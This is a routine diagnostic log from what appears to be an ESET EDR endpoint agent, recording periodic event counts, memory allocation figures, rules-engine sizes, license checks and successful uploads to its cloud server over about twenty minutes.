2026-03-04 19:18:54 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 19:17:03, To:, 2026-03-04 19:18:54, Duration (s):, 111, Events Per Second:, 36.878, Events:, 4123, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3397, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 725, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 456054
2026-03-04 19:18:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 15379 KB; ProcessInfo: 2156 KB; ModuleMetadata: 2029 KB; TcpIpConnectionsManager: 890 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 511 KB; BatchStringTag: 445 KB; rules::ProcessConditionsCache: 395 KB; ModuleInfoCache: 323 KB; CacheEntry: 297 KB; cloudutils::CloudData: 141 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ProcessInfoCommandLineTag: 8 KB; ExtendedTcpIpConnectionInfo: 3 KB; BaseEvent: 2 KB; BatchSerializer::EventsQueueTag: 0 KB; Total: 23169 KB;
2026-03-04 19:18:57 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 2s130ms.
2026-03-04 19:18:58 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 19:18:58 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23519
2026-03-04 19:18:58 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 19:18:58 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 19:19:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 15379 KB; ProcessInfo: 3100 KB; ModuleMetadata: 2029 KB; TcpIpConnectionsManager: 1188 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 512 KB; BaseEvent: 457 KB; ModuleInfoCache: 323 KB; CacheEntry: 297 KB; rules::ProcessConditionsCache: 212 KB; cloudutils::CloudData: 141 KB; BatchSerializer::EventsQueueTag: 119 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 4 KB; BatchStringTag: 0 KB; Total: 24361 KB;
2026-03-04 19:20:41 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 19:18:52, To:, 2026-03-04 19:20:41, Duration (s):, 109, Events Per Second:, 37.880, Events:, 4162, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3439, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 1, Livegrid:, 1, OriginUrl:, 0, Alarms:, 720, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 462008
2026-03-04 19:20:43 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s360ms.
2026-03-04 19:20:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 15379 KB; ProcessInfo: 2930 KB; ModuleMetadata: 2028 KB; TcpIpConnectionsManager: 1160 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 514 KB; ModuleInfoCache: 323 KB; CacheEntry: 297 KB; rules::ProcessConditionsCache: 209 KB; cloudutils::CloudData: 141 KB; BaseEvent: 79 KB; rules::CachedConditionEvaluationCtx: 22 KB; BatchSerializer::EventsQueueTag: 21 KB; ProcessInfoCommandLineTag: 11 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 4 KB; BatchStringTag: 0 KB; Total: 23685 KB;
2026-03-04 19:21:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 15379 KB; ProcessInfo: 3560 KB; ModuleMetadata: 2028 KB; TcpIpConnectionsManager: 1067 KB; rules::AncestorEvaluations: 552 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 515 KB; BaseEvent: 395 KB; ModuleInfoCache: 323 KB; CacheEntry: 297 KB; cloudutils::CloudData: 141 KB; BatchSerializer::EventsQueueTag: 103 KB; rules::ProcessConditionsCache: 96 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 11 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 24508 KB;
2026-03-04 19:22:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 15379 KB; ProcessInfo: 3970 KB; ModuleMetadata: 2028 KB; TcpIpConnectionsManager: 827 KB; BaseEvent: 600 KB; rules::AncestorEvaluations: 552 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 516 KB; ModuleInfoCache: 323 KB; CacheEntry: 297 KB; BatchSerializer::EventsQueueTag: 156 KB; cloudutils::CloudData: 141 KB; rules::ProcessConditionsCache: 131 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 24970 KB;
2026-03-04 19:23:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 19:23:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 198, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 19:23:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 19:23:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 19:23:41 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 19:20:41, To:, 2026-03-04 19:23:41, Duration (s):, 180, Events Per Second:, 22.728, Events:, 4096, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3380, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 715, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 454376
2026-03-04 19:23:42 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s397ms.
2026-03-04 19:23:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 15379 KB; ModuleMetadata: 2028 KB; ProcessInfo: 1843 KB; TcpIpConnectionsManager: 690 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 502 KB; ModuleInfoCache: 323 KB; CacheEntry: 297 KB; rules::ProcessConditionsCache: 145 KB; cloudutils::CloudData: 141 KB; BaseEvent: 39 KB; rules::CachedConditionEvaluationCtx: 22 KB; BatchSerializer::EventsQueueTag: 11 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 21998 KB;
2026-03-04 19:23:58 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 19:23:58 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23519
2026-03-04 19:23:58 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 19:23:58 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 19:24:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 15379 KB; ProcessInfo: 2201 KB; ModuleMetadata: 2028 KB; TcpIpConnectionsManager: 570 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 505 KB; ModuleInfoCache: 323 KB; CacheEntry: 297 KB; BaseEvent: 217 KB; cloudutils::CloudData: 141 KB; rules::ProcessConditionsCache: 127 KB; BatchSerializer::EventsQueueTag: 57 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 22444 KB;
2026-03-04 19:25:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 15379 KB; ProcessInfo: 2579 KB; ModuleMetadata: 2028 KB; TcpIpConnectionsManager: 562 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 503 KB; BaseEvent: 398 KB; ModuleInfoCache: 323 KB; CacheEntry: 297 KB; cloudutils::CloudData: 141 KB; rules::ProcessConditionsCache: 137 KB; BatchSerializer::EventsQueueTag: 105 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 23051 KB;
2026-03-04 19:26:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 15379 KB; ProcessInfo: 2941 KB; ModuleMetadata: 2028 KB; BaseEvent: 577 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 540 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 506 KB; ModuleInfoCache: 323 KB; CacheEntry: 297 KB; BatchSerializer::EventsQueueTag: 153 KB; cloudutils::CloudData: 141 KB; rules::ProcessConditionsCache: 110 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 23593 KB;
2026-03-04 19:27:49 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 19:23:40, To:, 2026-03-04 19:27:49, Duration (s):, 249, Events Per Second:, 16.433, Events:, 4099, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3388, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 710, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 455691
2026-03-04 19:27:52 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 2s737ms.
2026-03-04 19:27:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 15379 KB; ModuleMetadata: 2028 KB; ProcessInfo: 1324 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 537 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 509 KB; ModuleInfoCache: 323 KB; CacheEntry: 297 KB; cloudutils::CloudData: 141 KB; rules::ProcessConditionsCache: 94 KB; rules::CachedConditionEvaluationCtx: 22 KB; BaseEvent: 15 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; BatchSerializer::EventsQueueTag: 3 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 21249 KB;
2026-03-04 19:28:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 19:28:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 198, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 19:28:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 19:28:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 19:28:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 15379 KB; ModuleMetadata: 2028 KB; ProcessInfo: 1687 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 526 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 509 KB; ModuleInfoCache: 323 KB; CacheEntry: 297 KB; BaseEvent: 195 KB; cloudutils::CloudData: 141 KB; rules::ProcessConditionsCache: 82 KB; BatchSerializer::EventsQueueTag: 50 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 21817 KB;
2026-03-04 19:28:58 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 19:28:58 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23519
2026-03-04 19:28:58 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 19:28:58 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 19:29:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 15379 KB; ProcessInfo: 2069 KB; ModuleMetadata: 2028 KB; rules::AncestorEvaluations: 552 KB; TcpIpConnectionsManager: 540 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 511 KB; BaseEvent: 375 KB; ModuleInfoCache: 323 KB; CacheEntry: 297 KB; cloudutils::CloudData: 141 KB; rules::ProcessConditionsCache: 108 KB; BatchSerializer::EventsQueueTag: 98 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 14 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 22475 KB;
2026-03-04 19:30:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30739 KB; ProcessInfo: 2439 KB; ModuleMetadata: 2028 KB; BaseEvent: 561 KB; rules::AncestorEvaluations: 552 KB; TcpIpConnectionsManager: 542 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 512 KB; ModuleInfoCache: 323 KB; CacheEntry: 297 KB; BatchSerializer::EventsQueueTag: 147 KB; cloudutils::CloudData: 141 KB; rules::ProcessConditionsCache: 86 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 11 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 38416 KB;
2026-03-04 19:31:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30739 KB; ProcessInfo: 2775 KB; ModuleMetadata: 2028 KB; BaseEvent: 724 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 537 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 513 KB; ModuleInfoCache: 323 KB; CacheEntry: 297 KB; BatchSerializer::EventsQueueTag: 190 KB; cloudutils::CloudData: 141 KB; rules::ProcessConditionsCache: 46 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 11 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 38915 KB;
2026-03-04 19:32:01 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 19:27:49, To:, 2026-03-04 19:32:01, Duration (s):, 252, Events Per Second:, 16.296, Events:, 4119, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3401, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 717, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 459235
2026-03-04 19:32:04 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 2s263ms.
2026-03-04 19:32:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30739 KB; ModuleMetadata: 2028 KB; ProcessInfo: 2012 KB; TcpIpConnectionsManager: 721 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 515 KB; BaseEvent: 350 KB; ModuleInfoCache: 323 KB; CacheEntry: 297 KB; cloudutils::CloudData: 141 KB; rules::ProcessConditionsCache: 114 KB; BatchSerializer::EventsQueueTag: 92 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 14 KB; ProcessInfoCommandLineTag: 11 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 37939 KB;
2026-03-04 19:33:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 19:33:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 198, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 19:33:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 19:33:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 19:33:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30739 KB; ProcessInfo: 2690 KB; ModuleMetadata: 2028 KB; TcpIpConnectionsManager: 841 KB; BaseEvent: 692 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 501 KB; ModuleInfoCache: 323 KB; CacheEntry: 297 KB; BatchSerializer::EventsQueueTag: 181 KB; cloudutils::CloudData: 141 KB; rules::ProcessConditionsCache: 62 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 11 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 4 KB; BatchStringTag: 0 KB; Total: 39099 KB;
2026-03-04 19:33:58 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 19:33:58 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23519
2026-03-04 19:33:58 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 19:33:58 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 19:34:09 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 19:32:01, To:, 2026-03-04 19:34:09, Duration (s):, 128, Events Per Second:, 32.105, Events:, 4118, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3404, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 713, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 456869
2026-03-04 19:34:10 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s360ms.
2026-03-04 19:34:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30739 KB; ProcessInfo: 2667 KB; ModuleMetadata: 2028 KB; TcpIpConnectionsManager: 1011 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 502 KB; ModuleInfoCache: 323 KB; BaseEvent: 319 KB; CacheEntry: 297 KB; cloudutils::CloudData: 141 KB; BatchSerializer::EventsQueueTag: 83 KB; rules::ProcessConditionsCache: 71 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ProcessInfoCommandLineTag: 8 KB; ExtendedTcpIpConnectionInfo: 4 KB; BatchStringTag: 0 KB; Total: 38783 KB;
2026-03-04 19:35:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30739 KB; ProcessInfo: 3444 KB; ModuleMetadata: 2028 KB; TcpIpConnectionsManager: 1047 KB; BaseEvent: 687 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 506 KB; ModuleInfoCache: 323 KB; CacheEntry: 297 KB; BatchSerializer::EventsQueueTag: 181 KB; rules::ProcessConditionsCache: 168 KB; cloudutils::CloudData: 141 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 13 KB; ProcessInfoCommandLineTag: 10 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 40166 KB;
2026-03-04 19:36:05 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 19:34:08, To:, 2026-03-04 19:36:05, Duration (s):, 117, Events Per Second:, 35.106, Events:, 4139, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3429, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 709, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 459157
2026-03-04 19:36:08 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 2s827ms.
2026-03-04 19:36:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30739 KB; ProcessInfo: 2928 KB; ModuleMetadata: 2028 KB; TcpIpConnectionsManager: 978 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 505 KB; rules::ProcessConditionsCache: 395 KB; ModuleInfoCache: 323 KB; CacheEntry: 297 KB; BaseEvent: 236 KB; cloudutils::CloudData: 141 KB; BatchSerializer::EventsQueueTag: 62 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 39233 KB;
2026-03-04 19:37:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30739 KB; ProcessInfo: 3316 KB; ModuleMetadata: 2028 KB; TcpIpConnectionsManager: 845 KB; rules::AncestorEvaluations: 552 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 505 KB; BaseEvent: 419 KB; ModuleInfoCache: 323 KB; CacheEntry: 297 KB; cloudutils::CloudData: 141 KB; BatchSerializer::EventsQueueTag: 110 KB; rules::CachedConditionEvaluationCtx: 22 KB; rules::ProcessConditionsCache: 18 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 12 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 39346 KB;
2026-03-04 19:38:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 19:38:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 198, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 19:38:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 19:38:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 19:38:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30739 KB; ProcessInfo: 3677 KB; ModuleMetadata: 2028 KB; TcpIpConnectionsManager: 673 KB; BaseEvent: 602 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 508 KB; ModuleInfoCache: 323 KB; CacheEntry: 297 KB; BatchSerializer::EventsQueueTag: 159 KB; cloudutils::CloudData: 141 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; rules::ProcessConditionsCache: 7 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 39753 KB;
2026-03-04 19:38:59 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 19:38:59 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23519
2026-03-04 19:38:59 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 19:38:59 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 19:39:31 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 19:36:08, To:, 2026-03-04 19:39:31, Duration (s):, 203, Events Per Second:, 20.153, Events:, 4102, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3414, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 1, Livegrid:, 1, OriginUrl:, 0, Alarms:, 685, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 458135
2026-03-04 19:39:33 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s360ms.
2026-03-04 19:39:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30739 KB; ModuleMetadata: 2028 KB; ProcessInfo: 1527 KB; TcpIpConnectionsManager: 585 KB; rules::AncestorEvaluations: 552 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 508 KB; ModuleInfoCache: 323 KB; CacheEntry: 297 KB; cloudutils::CloudData: 141 KB; BaseEvent: 70 KB; rules::CachedConditionEvaluationCtx: 22 KB; BatchSerializer::EventsQueueTag: 18 KB; ProcessInfoCommandLineTag: 16 KB; rules::ProcessConditionsCache: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 36851 KB;
